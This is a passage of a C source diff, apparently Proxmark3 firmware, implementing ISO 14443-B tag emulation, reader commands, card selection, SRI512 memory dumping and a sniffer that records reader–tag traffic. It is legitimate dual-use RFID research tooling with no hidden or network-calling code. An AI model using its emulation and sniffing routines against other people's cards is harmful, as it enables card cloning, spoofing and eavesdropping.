tag answer (encoded): + CodeIso14443bAsTag(respATQB, sizeof(respATQB)); + uint8_t *encodedATQB = BigBuf_malloc(ToSendMax); + uint16_t encodedATQBLen = ToSendMax; + memcpy(encodedATQB, ToSend, ToSendMax); + + + // prepare "OK" tag answer (encoded): + CodeIso14443bAsTag(respOK, sizeof(respOK)); + uint8_t *encodedOK = BigBuf_malloc(ToSendMax); + uint16_t encodedOKLen = ToSendMax; + memcpy(encodedOK, ToSend, ToSendMax); + + // Simulation loop + while (!BUTTON_PRESS() && !usb_poll_validate_length()) { + WDT_HIT(); + + // find reader field + if (cardSTATE == SIM_NOFIELD) { + vHf = (MAX_ADC_HF_VOLTAGE * AvgAdc(ADC_CHAN_HF)) >> 10; + if ( vHf > MF_MINFIELDV ) { + cardSTATE = SIM_IDLE; + LED_A_ON(); + } + } + if (cardSTATE == SIM_NOFIELD) continue; + + // Get reader command + if (!GetIso14443bCommandFromReader(receivedCmd, &len)) { + Dbprintf("button pressed, received %d commands", cmdsReceived); + break; + } + + // ISO14443-B protocol states: + // REQ or WUP request in ANY state + // WUP in HALTED state + if (len == 5 ) { + if ( (receivedCmd[0] == ISO14443B_REQB && (receivedCmd[2] & 0x8)== 0x8 && cardSTATE == SIM_HALTED) || + receivedCmd[0] == ISO14443B_REQB ){ + LogTrace(receivedCmd, len, 0, 0, NULL, true); + cardSTATE = SIM_SELECTING; + } + } + + /* + * How should this flow go? + * REQB or WUPB + * send response ( waiting for Attrib) + * ATTRIB + * send response ( waiting for commands 7816) + * HALT + send halt response ( waiting for wupb ) + */ + + switch (cardSTATE) { + //case SIM_NOFIELD: + case SIM_HALTED: + case SIM_IDLE: { + LogTrace(receivedCmd, len, 0, 0, NULL, true); + break; + } + case SIM_SELECTING: { + TransmitFor14443b_AsTag( encodedATQB, encodedATQBLen ); + LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false); + cardSTATE = SIM_WORK; + break; + } + case SIM_HALTING: { + TransmitFor14443b_AsTag( encodedOK, encodedOKLen ); + LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false); + cardSTATE = SIM_HALTED; + break; + } + case SIM_ACKNOWLEDGE: { + TransmitFor14443b_AsTag( encodedOK, encodedOKLen ); + LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false); + cardSTATE = SIM_IDLE; + break; + } + case SIM_WORK: { + if ( len == 7 && receivedCmd[0] == ISO14443B_HALT ) { + cardSTATE = SIM_HALTED; + } else if ( len == 11 && receivedCmd[0] == ISO14443B_ATTRIB ) { + cardSTATE = SIM_ACKNOWLEDGE; + } else { + // Todo: + // - SLOT MARKER + // - ISO7816 + // - emulate with a memory dump + Dbprintf("new cmd from reader: len=%d, cmdsRecvd=%d", len, cmdsReceived); + + // CRC Check + if (len >= 3){ // if crc exists + + if (!check_crc(CRC_14443_B, receivedCmd, len)) + DbpString("+++CRC fail"); + else + DbpString("CRC passes"); + } + cardSTATE = SIM_IDLE; + } + break; + } + default: break; + } + + ++cmdsReceived; + } + if (MF_DBGLEVEL >= 2) + Dbprintf("Emulator stopped. Tracing: %d trace length: %d ", tracing, BigBuf_get_traceLen()); + switch_off(); //simulate +} + +//============================================================================= +// An ISO 14443 Type B reader. We take layer two commands, code them +// appropriately, and then send them to the tag. We then listen for the +// tag's response, which we leave in the buffer to be demodulated on the +// PC side. +//============================================================================= + +/* + * Handles reception of a bit from the tag + * + * This function is called 2 times per bit (every 4 subcarrier cycles). + * Subcarrier frequency fs is 848kHz, 1/fs = 1,18us, i.e. function is called every 4,72us + * + * LED handling: + * LED C -> ON once we have received the SOF and are expecting the rest. + * LED C -> OFF once we have received EOF or are unsynced + * + * Returns: true if we received a EOF + * false if we are still waiting for some more + * + */ +static RAMFUNC int Handle14443bTagSamplesDemod(int ci, int cq) { + int v = 0, myI = ABS(ci), myQ = ABS(cq); + +// The soft decision on the bit uses an estimate of just the +// quadrant of the reference angle, not the exact angle. +#define MAKE_SOFT_DECISION() { \ + if (Demod.sumI > 0) { \ + v = ci; \ + } else { \ + v = -ci; \ + } \ + if (Demod.sumQ > 0) { \ + v += cq; \ + } else { \ + v -= cq; \ + } \ + } + +// Subcarrier amplitude v = sqrt(ci^2 + cq^2), approximated here by abs(ci) + abs(cq) +// Subcarrier amplitude v = sqrt(ci^2 + cq^2), approximated here by max(abs(ci),abs(cq)) + 1/2*min(abs(ci),abs(cq))) +#define CHECK_FOR_SUBCARRIER_old() { \ + if (ci < 0) { \ + if (cq < 0) { /* ci < 0, cq < 0 */ \ + if (cq < ci) { \ + v = -cq - (ci >> 1); \ + } else { \ + v = -ci - (cq >> 1); \ + } \ + } else { /* ci < 0, cq >= 0 */ \ + if (cq < -ci) { \ + v = -ci + (cq >> 1); \ + } else { \ + v = cq - (ci >> 1); \ + } \ + } \ + } else { \ + if (cq < 0) { /* ci >= 0, cq < 0 */ \ + if (-cq < ci) { \ + v = ci - (cq >> 1); \ + } else { \ + v = -cq + (ci >> 1); \ + } \ + } else { /* ci >= 0, cq >= 0 */ \ + if (cq < ci) { \ + v = ci + (cq >> 1); \ + } else { \ + v = cq + (ci >> 1); \ + } \ + } \ + } \ + } + +//note: couldn't we just use MAX(ABS(ci),ABS(cq)) + (MIN(ABS(ci),ABS(cq))/2) from common.h - marshmellow +#define CHECK_FOR_SUBCARRIER() { v = MAX(myI, myQ) + (MIN(myI, myQ) >> 1); } + + switch(Demod.state) { + case DEMOD_UNSYNCD: + + CHECK_FOR_SUBCARRIER(); + + // subcarrier detected + if (v > SUBCARRIER_DETECT_THRESHOLD) { + Demod.state = DEMOD_PHASE_REF_TRAINING; + Demod.sumI = ci; + Demod.sumQ = cq; + Demod.posCount = 1; + } + break; + + case DEMOD_PHASE_REF_TRAINING: + if (Demod.posCount < 8) { + + CHECK_FOR_SUBCARRIER(); + + if (v > SUBCARRIER_DETECT_THRESHOLD) { + // set the reference phase (will code a logic '1') by averaging over 32 1/fs. + // note: synchronization time > 80 1/fs + Demod.sumI += ci; + Demod.sumQ += cq; + Demod.posCount++; + } else { + // subcarrier lost + Demod.state = DEMOD_UNSYNCD; + } + } else { + Demod.state = DEMOD_AWAITING_FALLING_EDGE_OF_SOF; + } + break; + + case DEMOD_AWAITING_FALLING_EDGE_OF_SOF: + + MAKE_SOFT_DECISION(); + + if (v < 0) { // logic '0' detected + Demod.state = DEMOD_GOT_FALLING_EDGE_OF_SOF; + Demod.posCount = 0; // start of SOF sequence + } else { + // maximum length of TR1 = 200 1/fs + if (Demod.posCount > 200/4) Demod.state = DEMOD_UNSYNCD; + } + Demod.posCount++; + break; + + case DEMOD_GOT_FALLING_EDGE_OF_SOF: + Demod.posCount++; + + MAKE_SOFT_DECISION(); + + if (v > 0) { + // low phase of SOF too short (< 9 etu). Note: spec is >= 10, but FPGA tends to "smear" edges + if (Demod.posCount < 9*2) { + Demod.state = DEMOD_UNSYNCD; + } else { + LED_C_ON(); // Got SOF + Demod.state = DEMOD_AWAITING_START_BIT; + Demod.posCount = 0; + Demod.len = 0; + } + } else { + // low phase of SOF too long (> 12 etu) + if (Demod.posCount > 14*2) { + Demod.state = DEMOD_UNSYNCD; + LED_C_OFF(); + } + } + break; + + case DEMOD_AWAITING_START_BIT: + Demod.posCount++; + + MAKE_SOFT_DECISION(); + + if (v > 0) { + if (Demod.posCount > 6*2) { // max 19us between characters = 16 1/fs, max 3 etu after low phase of SOF = 24 1/fs + Demod.state = DEMOD_UNSYNCD; + LED_C_OFF(); + } + } else { // start bit detected + Demod.bitCount = 0; + Demod.posCount = 1; // this was the first half + Demod.thisBit = v; + Demod.shiftReg = 0; + Demod.state = DEMOD_RECEIVING_DATA; + } + break; + + case DEMOD_RECEIVING_DATA: + + MAKE_SOFT_DECISION(); + + if (Demod.posCount == 0) { + // first half of bit + Demod.thisBit = v; + Demod.posCount = 1; + } else { + // second half of bit + Demod.thisBit += v; + Demod.shiftReg >>= 1; + + // OR in a logic '1' + if (Demod.thisBit > 0) + Demod.shiftReg |= 0x200; + + Demod.bitCount++; + + // 1 start 8 data 1 stop = 10 + if (Demod.bitCount == 10) { + + uint16_t s = Demod.shiftReg; + + // stop bit == '1', start bit == '0' + if ((s & 0x200) && (s & 0x001) == 0 ) { + // left shift to drop the startbit + uint8_t b = (s >> 1); + Demod.output[Demod.len] = b; + ++Demod.len; + Demod.state = DEMOD_AWAITING_START_BIT; + } else { + // this one is a bit hard, either its a correc byte or its unsynced. + Demod.state = DEMOD_UNSYNCD; + LED_C_OFF(); + + // This is EOF (start, stop and all data bits == '0' + if (s == 0) return true; + } + } + Demod.posCount = 0; + } + break; + + default: + Demod.state = DEMOD_UNSYNCD; + LED_C_OFF(); + break; + } + return false; +} + + +/* + * Demodulate the samples we received from the tag, also log to tracebuffer + * quiet: set to 'TRUE' to disable debug output + */ +static void GetTagSamplesFor14443bDemod() { + bool gotFrame = false, finished = false; + int lastRxCounter = ISO14443B_DMA_BUFFER_SIZE; + int ci = 0, cq = 0; + uint32_t time_0 = 0, time_stop = 0; + + BigBuf_free(); + + // Set up the demodulator for tag -> reader responses. + DemodInit(BigBuf_malloc(MAX_FRAME_SIZE)); + + // The DMA buffer, used to stream samples from the FPGA + int8_t *dmaBuf = (int8_t*) BigBuf_malloc(ISO14443B_DMA_BUFFER_SIZE); + int8_t *upTo = dmaBuf; + + // Setup and start DMA. + if ( !FpgaSetupSscDma((uint8_t*) dmaBuf, ISO14443B_DMA_BUFFER_SIZE) ){ + if (MF_DBGLEVEL > 1) Dbprintf("FpgaSetupSscDma failed. Exiting"); + return; + } + + // And put the FPGA in the appropriate mode + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_RX_XCORR | FPGA_HF_READER_RX_XCORR_848_KHZ); + + // get current clock + time_0 = GetCountSspClk(); + + // rx counter - dma counter? (how much?) & (mod) mask > 2. (since 2bytes at the time is read) + while ( !finished ) { + + LED_A_INV(); + WDT_HIT(); + + // LSB is a fpga signal bit. + ci = upTo[0]; + cq = upTo[1]; + upTo += 2; + lastRxCounter -= 2; + + // restart DMA buffer to receive again. + if(upTo >= dmaBuf + ISO14443B_DMA_BUFFER_SIZE) { + upTo = dmaBuf; + lastRxCounter = ISO14443B_DMA_BUFFER_SIZE; + AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) upTo; + AT91C_BASE_PDC_SSC->PDC_RNCR = ISO14443B_DMA_BUFFER_SIZE; + } + + // https://github.com/Proxmark/proxmark3/issues/103 + gotFrame = Handle14443bTagSamplesDemod(ci, cq); + time_stop = GetCountSspClk() - time_0; + + finished = (time_stop > iso14b_timeout || gotFrame); + } + + FpgaDisableSscDma(); + + if ( upTo ) + upTo = NULL; + + // print the last batch of IQ values from FPGA + if (MF_DBGLEVEL == 4) + Dbhexdump(ISO14443B_DMA_BUFFER_SIZE, (uint8_t *)dmaBuf, false); + + if ( Demod.len > 0 ) + LogTrace(Demod.output, Demod.len, time_0, time_stop, NULL, false); +} + +//----------------------------------------------------------------------------- +// Transmit the command (to the tag) that was placed in ToSend[]. +//----------------------------------------------------------------------------- +static void TransmitFor14443b_AsReader(void) { + + // we could been in following mode: + // FPGA_MAJOR_MODE_HF_READER_RX_XCORR | FPGA_HF_READER_RX_XCORR_848_KHZ + // if its second call or more + + // while(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { + // AT91C_BASE_SSC->SSC_THR = 0XFF; + // } + + int c; + volatile uint32_t b; + + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_TX | FPGA_HF_READER_TX_SHALLOW_MOD); + SpinDelay(40); + + // What does this loop do? Is it TR1? + // 0xFF = 8 bits of 1. 1 bit == 1Etu,.. + // loop 10 * 8 = 80 ETU of delay, with a non modulated signal. why? + // 80*9 = 720us. + + for(c = 0; c < 50;) { + if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { + AT91C_BASE_SSC->SSC_THR = 0xFF; + c++; + } + if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + b = AT91C_BASE_SSC->SSC_RHR; (void)b; + } + } + + + // Send frame loop + for(c = 0; c < ToSendMax;) { + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { + AT91C_BASE_SSC->SSC_THR = ToSend[c++]; + } + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + b = AT91C_BASE_SSC->SSC_RHR; (void)b; + } + } + //WaitForFpgaDelayQueueIsEmpty(delay); + // We should wait here for the FPGA to send all bits. + WDT_HIT(); +} + +//----------------------------------------------------------------------------- +// Code a layer 2 command (string of octets, including CRC) into ToSend[], +// so that it is ready to transmit to the tag using TransmitFor14443b(). +//----------------------------------------------------------------------------- +static void CodeIso14443bAsReader(const uint8_t *cmd, int len) { + /* + * Reader data transmission: + * - no modulation ONES + * - SOF + * - Command, data and CRC_B + * - EOF + * - no modulation ONES + * + * 1 ETU == 1 BIT! + * TR0 - 8 ETUS minimum. + * + * QUESTION: how long is a 1 or 0 in pulses in the xcorr_848 mode? + * 1 "stuffbit" = 1ETU (9us) + */ + int i; + uint8_t b; + + ToSendReset(); + + // Send SOF + // 10-11 ETUs of ZERO + for(i = 0; i < 10; ++i) ToSendStuffBit(0); + + // 2-3 ETUs of ONE + ToSendStuffBit(1); + ToSendStuffBit(1); +// ToSendStuffBit(1); + + // Sending cmd, LSB + // from here we add BITS + for(i = 0; i < len; ++i) { + // Start bit + ToSendStuffBit(0); + // Data bits + b = cmd[i]; + // if ( b & 1 ) ToSendStuffBit(1); else ToSendStuffBit(0); + // if ( (b>>1) & 1) ToSendStuffBit(1); else ToSendStuffBit(0); + // if ( (b>>2) & 1) ToSendStuffBit(1); else ToSendStuffBit(0); + // if ( (b>>3) & 1) ToSendStuffBit(1); else ToSendStuffBit(0); + // if ( (b>>4) & 1) ToSendStuffBit(1); else ToSendStuffBit(0); + // if ( (b>>5) & 1) ToSendStuffBit(1); else ToSendStuffBit(0); + // if ( (b>>6) & 1) ToSendStuffBit(1); else ToSendStuffBit(0); + // if ( (b>>7) & 1) ToSendStuffBit(1); else ToSendStuffBit(0); + + ToSendStuffBit( b & 1); + ToSendStuffBit( (b>>1) & 1); + ToSendStuffBit( (b>>2) & 1); + ToSendStuffBit( (b>>3) & 1); + ToSendStuffBit( (b>>4) & 1); + ToSendStuffBit( (b>>5) & 1); + ToSendStuffBit( (b>>6) & 1); + ToSendStuffBit( (b>>7) & 1); + + // Stop bit + ToSendStuffBit(1); + // EGT extra guard time + // For PCD it ranges 0-57us (1etu = 9us) + ToSendStuffBit(1); + ToSendStuffBit(1); + ToSendStuffBit(1); + } + + // Send EOF + // 10-11 ETUs of ZERO + for(i = 0; i < 10; ++i) ToSendStuffBit(0); + + // Transition time. TR0 - guard time + // 8ETUS minum? + // Per specification, Subcarrier must be stopped no later than 2 ETUs after EOF. + // I'm guessing this is for the FPGA to be able to send all bits before we switch to listening mode + for(i = 0; i < 24 ; ++i) ToSendStuffBit(1); + + // TR1 - Synchronization time + // Convert from last character reference to length + ToSendMax++; +} + +/* +* Convenience function to encode, transmit and trace iso 14443b comms +*/ +static void CodeAndTransmit14443bAsReader(const uint8_t *cmd, int len) { + + uint32_t time_start = GetCountSspClk(); + + CodeIso14443bAsReader(cmd, len); + + TransmitFor14443b_AsReader(); + + if(trigger) LED_A_ON(); + + LogTrace(cmd, len, time_start, GetCountSspClk()-time_start, NULL, true); +} + +/* Sends an APDU to the tag + * TODO: check CRC and preamble + */ +uint8_t iso14443b_apdu(uint8_t const *message, size_t message_length, uint8_t *response) { + + uint8_t message_frame[message_length + 4]; + // PCB + message_frame[0] = 0x0A | pcb_blocknum; + pcb_blocknum ^= 1; + // CID + message_frame[1] = 0; + // INF + memcpy(message_frame + 2, message, message_length); + // EDC (CRC) + AddCrc14B(message_frame, message_length + 2); + // send + CodeAndTransmit14443bAsReader(message_frame, message_length + 4); //no + // get response + GetTagSamplesFor14443bDemod(); //no + if(Demod.len < 3) + return 0; + + // VALIDATE CRC + if (!check_crc(CRC_14443_B, Demod.output, Demod.len)){ + if (MF_DBGLEVEL > 3) Dbprintf("crc fail ICE"); + return 0; + } + // copy response contents + if(response != NULL) + memcpy(response, Demod.output, Demod.len); + + return Demod.len; +} + +/** +* SRx Initialise. +*/ +uint8_t iso14443b_select_srx_card(iso14b_card_select_t *card ) { + // INITIATE command: wake up the tag using the INITIATE + static const uint8_t init_srx[] = { ISO14443B_INITIATE, 0x00, 0x97, 0x5b }; + // SELECT command (with space for CRC) + uint8_t select_srx[] = { ISO14443B_SELECT, 0x00, 0x00, 0x00}; + + CodeAndTransmit14443bAsReader(init_srx, sizeof(init_srx)); + GetTagSamplesFor14443bDemod(); //no + + if (Demod.len == 0) return 2; + + // Randomly generated Chip ID + if (card) card->chipid = Demod.output[0]; + + select_srx[1] = Demod.output[0]; + + AddCrc14B(select_srx, 2); + + CodeAndTransmit14443bAsReader(select_srx, sizeof(select_srx)); + GetTagSamplesFor14443bDemod(); //no + + if (Demod.len != 3) return 2; + + // Check the CRC of the answer: + if (!check_crc(CRC_14443_B, Demod.output, Demod.len)) { + if (MF_DBGLEVEL > 1) Dbprintf("crc fail ice2"); + return 3; + } + + // Check response from the tag: should be the same UID as the command we just sent: + if (select_srx[1] != Demod.output[0]) return 1; + + // First get the tag's UID: + select_srx[0] = ISO14443B_GET_UID; + + AddCrc14B(select_srx, 1); + CodeAndTransmit14443bAsReader(select_srx, 3); // Only first three bytes for this one + GetTagSamplesFor14443bDemod(); //no + + if (Demod.len != 10) return 2; + + // The check the CRC of the answer + if (!check_crc(CRC_14443_B, Demod.output, Demod.len)) { + if (MF_DBGLEVEL > 1) Dbprintf("crc fail ice3"); + return 3; + } + + if (card) { + card->uidlen = 8; + memcpy(card->uid, Demod.output, 8); + } + + return 0; +} +/* Perform the ISO 14443 B Card Selection procedure + * Currently does NOT do any collision handling. + * It expects 0-1 cards in the device's range. + * TODO: Support multiple cards (perform anticollision) + * TODO: Verify CRC checksums + */ +uint8_t iso14443b_select_card(iso14b_card_select_t *card ) { + // WUPB command (including CRC) + // Note: WUPB wakes up all tags, REQB doesn't wake up tags in HALT state + static const uint8_t wupb[] = { ISO14443B_REQB, 0x00, 0x08, 0x39, 0x73 }; + // ATTRIB command (with space for CRC) + uint8_t attrib[] = { ISO14443B_ATTRIB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00}; + + // first, wake up the tag + CodeAndTransmit14443bAsReader(wupb, sizeof(wupb)); + GetTagSamplesFor14443bDemod(); //select_card + + // ATQB too short? + if (Demod.len < 14) return 2; + + // VALIDATE CRC + if (!check_crc(CRC_14443_B, Demod.output, Demod.len)) { + if (MF_DBGLEVEL > 3) Dbprintf("iso1443b_setup crc fail"); + return 3; + } + + if (card) { + card->uidlen = 4; + memcpy(card->uid, Demod.output+1, 4); + memcpy(card->atqb, Demod.output+5, 7); + } + + // copy the PUPI to ATTRIB ( PUPI == UID ) + memcpy(attrib + 1, Demod.output + 1, 4); + + // copy the protocol info from ATQB (Protocol Info -> Protocol_Type) into ATTRIB (Param 3) + attrib[7] = Demod.output[10] & 0x0F; + AddCrc14B(attrib, 9); + + CodeAndTransmit14443bAsReader(attrib, sizeof(attrib)); + GetTagSamplesFor14443bDemod();//select_card + + // Answer to ATTRIB too short? + if(Demod.len < 3) return 2; + + // VALIDATE CRC + if (!check_crc(CRC_14443_B, Demod.output, Demod.len) ) { + if (MF_DBGLEVEL > 3) Dbprintf("iso1443b_setup crc2 fail"); + return 3; + } + + if (card) { + + // CID + card->cid = Demod.output[0]; + + // MAX FRAME + uint16_t maxFrame = card->atqb[5] >> 4; + if (maxFrame < 5) maxFrame = 8 * maxFrame + 16; + else if (maxFrame == 5) maxFrame = 64; + else if (maxFrame == 6) maxFrame = 96; + else if (maxFrame == 7) maxFrame = 128; + else if (maxFrame == 8) maxFrame = 256; + else maxFrame = 257; + iso14b_set_maxframesize(maxFrame); + + // FWT + uint8_t fwt = card->atqb[6] >> 4; + if ( fwt < 16 ){ + uint32_t fwt_time = (302 << fwt); + iso14b_set_timeout( fwt_time); + } + } + // reset PCB block number + pcb_blocknum = 0; + return 0; +} + +// Set up ISO 14443 Type B communication (similar to iso14443a_setup) +// field is setup for "Sending as Reader" +void iso14443b_setup() { + if (MF_DBGLEVEL > 3) Dbprintf("iso1443b_setup Enter"); + LEDsoff(); + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + //BigBuf_free(); + //BigBuf_Clear_ext(false); + + // Initialize Demod and Uart structs + DemodInit(BigBuf_malloc(MAX_FRAME_SIZE)); + UartInit(BigBuf_malloc(MAX_FRAME_SIZE)); + + // connect Demodulated Signal to ADC: + SetAdcMuxFor(GPIO_MUXSEL_HIPKD); + + // Set up the synchronous serial port + FpgaSetupSsc(); + + // Signal field is on with the appropriate LED + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_TX | FPGA_HF_READER_TX_SHALLOW_MOD); + SpinDelay(300); + + // Start the timer + StartCountSspClk(); + + LED_D_ON(); + if (MF_DBGLEVEL > 3) Dbprintf("iso1443b_setup Exit"); +} + +//----------------------------------------------------------------------------- +// Read a SRI512 ISO 14443B tag. +// +// SRI512 tags are just simple memory tags, here we're looking at making a dump +// of the contents of the memory. No anticollision algorithm is done, we assume +// we have a single tag in the field. +// +// I tried to be systematic and check every answer of the tag, every CRC, etc... +//----------------------------------------------------------------------------- +void ReadSTMemoryIso14443b(uint8_t numofblocks) { + // Make sure that we start from off, since the tags are stateful; + // confusing things will happen if we don't reset them between reads. + switch_off(); + + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + SetAdcMuxFor(GPIO_MUXSEL_HIPKD); + + FpgaSetupSsc(); + + set_tracing(true); + + // Now give it time to spin up. + // Signal field is on with the appropriate LED + LED_D_ON(); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_RX_XCORR | FPGA_HF_READER_RX_XCORR_848_KHZ); + SpinDelay(100); + + uint8_t i = 0x00; + + // First command: wake up the tag using the INITIATE command + uint8_t cmd1[] = {ISO14443B_INITIATE, 0x00, 0x97, 0x5b}; + CodeAndTransmit14443bAsReader(cmd1, sizeof(cmd1)); //no + GetTagSamplesFor14443bDemod(); // no + + if (Demod.len == 0) { + DbpString("[!] No response from tag"); + set_tracing(false); + return; + } else { + Dbprintf("Randomly generated Chip ID (+ 2 byte CRC): %02x %02x %02x", + Demod.output[0], Demod.output[1], Demod.output[2]); + } + + // There is a response, SELECT the uid + DbpString("[!] SELECT tag:"); + cmd1[0] = ISO14443B_SELECT; // 0x0E is SELECT + cmd1[1] = Demod.output[0]; + AddCrc14B(cmd1, 2); + CodeAndTransmit14443bAsReader(cmd1, sizeof(cmd1)); //no + GetTagSamplesFor14443bDemod(); //no + if (Demod.len != 3) { + Dbprintf("[!] expected 3 bytes from tag, got %d", Demod.len); + set_tracing(false); + return; + } + // Check the CRC of the answer: + + if (!check_crc(CRC_14443_B, Demod.output, Demod.len)) { + DbpString("[!] CRC Error reading select response."); + set_tracing(false); + return; + } + // Check response from the tag: should be the same UID as the command we just sent: + if (cmd1[1] != Demod.output[0]) { + Dbprintf("[!] Bad response to SELECT from Tag, aborting: %02x %02x", cmd1[1], Demod.output[0]); + set_tracing(false); + return; + } + + // Tag is now selected, + // First get the tag's UID: + cmd1[0] = ISO14443B_GET_UID; + AddCrc14B(cmd1, 1); + CodeAndTransmit14443bAsReader(cmd1, 3); // no -- Only first three bytes for this one + GetTagSamplesFor14443bDemod(); //no + if (Demod.len != 10) { + Dbprintf("[!] expected 10 bytes from tag, got %d", Demod.len); + set_tracing(false); + return; + } + // The check the CRC of the answer (use cmd1 as temporary variable): + + if (!check_crc(CRC_14443_B, Demod.output, Demod.len)) { + Dbprintf("[!] CRC Error reading block! Expected: %04x got: %04x", (cmd1[2]<<8)+cmd1[3], (Demod.output[8]<<8)+Demod.output[9]); + // Do not return;, let's go on... (we should retry, maybe ?) + } + Dbprintf("[+] Tag UID (64 bits): %08x %08x", + (Demod.output[7]<<24) + (Demod.output[6]<<16) + (Demod.output[5]<<8) + Demod.output[4], + (Demod.output[3]<<24) + (Demod.output[2]<<16) + (Demod.output[1]<<8) + Demod.output[0]); + + // Now loop to read all 16 blocks, address from 0 to last block + Dbprintf("[+] Tag memory dump, block 0 to %d", numofblocks); + cmd1[0] = 0x08; + i = 0x00; + ++numofblocks; + + for (;;) { + if (i == numofblocks) { + DbpString("System area block (0xFF):"); + i = 0xff; + } + cmd1[1] = i; + AddCrc14B(cmd1, 2); + CodeAndTransmit14443bAsReader(cmd1, sizeof(cmd1)); //no + GetTagSamplesFor14443bDemod(); //no + + if (Demod.len != 6) { // Check if we got an answer from the tag + DbpString("[!] expected 6 bytes from tag, got less..."); + return; + } + // The check the CRC of the answer (use cmd1 as temporary variable): + + if (!check_crc(CRC_14443_B, Demod.output, Demod.len)) { + Dbprintf("[!] CRC Error reading block! Expected: %04x got: %04x", + (cmd1[2]<<8)+cmd1[3], (Demod.output[4]<<8)+Demod.output[5]); + // Do not return;, let's go on... (we should retry, maybe ?) + } + // Now print out the memory location: + Dbprintf("Address=%02x, Contents=%08x, CRC=%04x", i, + (Demod.output[3]<<24) + (Demod.output[2]<<16) + (Demod.output[1]<<8) + Demod.output[0], + (Demod.output[4]<<8)+Demod.output[5]); + + if (i == 0xff) break; + ++i; + } + + set_tracing(false); +} + +static void iso1444b_setup_sniff(void){ + if (MF_DBGLEVEL > 3) Dbprintf("iso1443b_setup_sniff Enter"); + LEDsoff(); + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + BigBuf_free(); + BigBuf_Clear_ext(false); + clear_trace();//setup snoop + set_tracing(true); + + // Initialize Demod and Uart structs + DemodInit(BigBuf_malloc(MAX_FRAME_SIZE)); + UartInit(BigBuf_malloc(MAX_FRAME_SIZE)); + + if (MF_DBGLEVEL > 1) { + // Print debug information about the buffer sizes + Dbprintf("[+] Sniff buffers initialized:"); + Dbprintf("[+] trace: %i bytes", BigBuf_max_traceLen()); + Dbprintf("[+] reader -> tag: %i bytes", MAX_FRAME_SIZE); + Dbprintf("[+] tag -> reader: %i bytes", MAX_FRAME_SIZE); + Dbprintf("[+] DMA: %i bytes", ISO14443B_DMA_BUFFER_SIZE); + } + + // connect Demodulated Signal to ADC: + SetAdcMuxFor(GPIO_MUXSEL_HIPKD); + + // Setup for the DMA. + FpgaSetupSsc(); + + // Set FPGA in the appropriate mode + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_RX_XCORR | FPGA_HF_READER_RX_XCORR_848_KHZ | FPGA_HF_READER_RX_XCORR_SNOOP); + SpinDelay(20); + + // Start the SSP timer + StartCountSspClk(); + + if (MF_DBGLEVEL > 3) Dbprintf("iso1443b_setup_sniff Exit"); +} + +//============================================================================= +// Finally, the `sniffer' combines elements from both the reader and +// simulated tag, to show both sides of the conversation. +//============================================================================= + +//----------------------------------------------------------------------------- +// Record the sequence of commands sent by the reader to the tag, with +// triggering so that we start recording at the point that the tag is moved +// near the reader. +//----------------------------------------------------------------------------- +/* + * Memory usage for this function, (within BigBuf) + * Last Received command (reader->tag) - MAX_FRAME_SIZE + * Last Received command (tag->reader) - MAX_FRAME_SIZE + * DMA Buffer - ISO14443B_DMA_BUFFER_SIZE + * Demodulated samples received - all the rest + */ +void RAMFUNC SniffIso14443b(void) { + + uint32_t time_0 = 0, time_start = 0, time_stop = 0; + int ci = 0, cq = 0; + + // We won't start recording the frames that we acquire until we trigger; + // a good trigger condition to get started is probably when we see a + // response from the tag. + bool TagIsActive = false; + bool ReaderIsActive = false; + + iso1444b_setup_sniff(); + + // The DMA buffer, used to stream samples from the FPGA + int8_t *dmaBuf = (int8_t*) BigBuf_malloc(ISO14443B_DMA_BUFFER_SIZE); + int8_t *data = dmaBuf; + + // Setup and start DMA. + if ( !FpgaSetupSscDma((uint8_t*) dmaBuf, ISO14443B_DMA_BUFFER_SIZE) ){ + if (MF_DBGLEVEL > 1) Dbprintf("[!] FpgaSetupSscDma failed. Exiting"); + BigBuf_free(); + return; + } + + // time ZERO, the point from which it all is calculated. + time_0 = GetCountSspClk(); + + // loop and listen + while (!BUTTON_PRESS()) { + WDT_HIT(); + + ci = data[0]; + cq = data[1]; + data += 2; + + if (data >= dmaBuf + ISO14443B_DMA_BUFFER_SIZE) { + data = dmaBuf; + AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) dmaBuf; + AT91C_BASE_PDC_SSC->PDC_RNCR = ISO14443B_DMA_BUFFER_SIZE; + } + + // no need to try decoding reader data if the tag is sending + if (!TagIsActive) { + + LED_A_INV(); + + if (Handle14443bReaderUartBit(ci & 0x01)) { + time_stop = GetCountSspClk() - time_0; + LogTrace(Uart.output, Uart.byteCnt, time_start, time_stop, NULL, true); + UartReset(); + DemodReset(); + } else { + time_start = GetCountSspClk() - time_0; + } + + if (Handle14443bReaderUartBit(cq & 0x01)) { + time_stop = GetCountSspClk() - time_0; + LogTrace(Uart.output, Uart.byteCnt, time_start, time_stop, NULL, true); + UartReset(); + DemodReset(); + } else { + time_start = GetCountSspClk() - time_0; + } + ReaderIsActive = (Uart.state > STATE_GOT_FALLING_EDGE_OF_SOF); + } + + // no need to try decoding tag data if the reader is sending - and we cannot afford the time + if (!ReaderIsActive) { + + // is this | 0x01 the error? & 0xfe in https://github.com/Proxmark/proxmark3/issues/103 + // LSB is a fpga signal bit. + if (Handle14443bTagSamplesDemod(ci >> 1, cq >> 1)) { + time_stop = GetCountSspClk() - time_0; + LogTrace(Demod.output, Demod.len, time_start, time_stop, NULL, false); + UartReset(); + DemodReset(); + } else { + time_start = GetCountSspClk() - time_0; + } + TagIsActive = 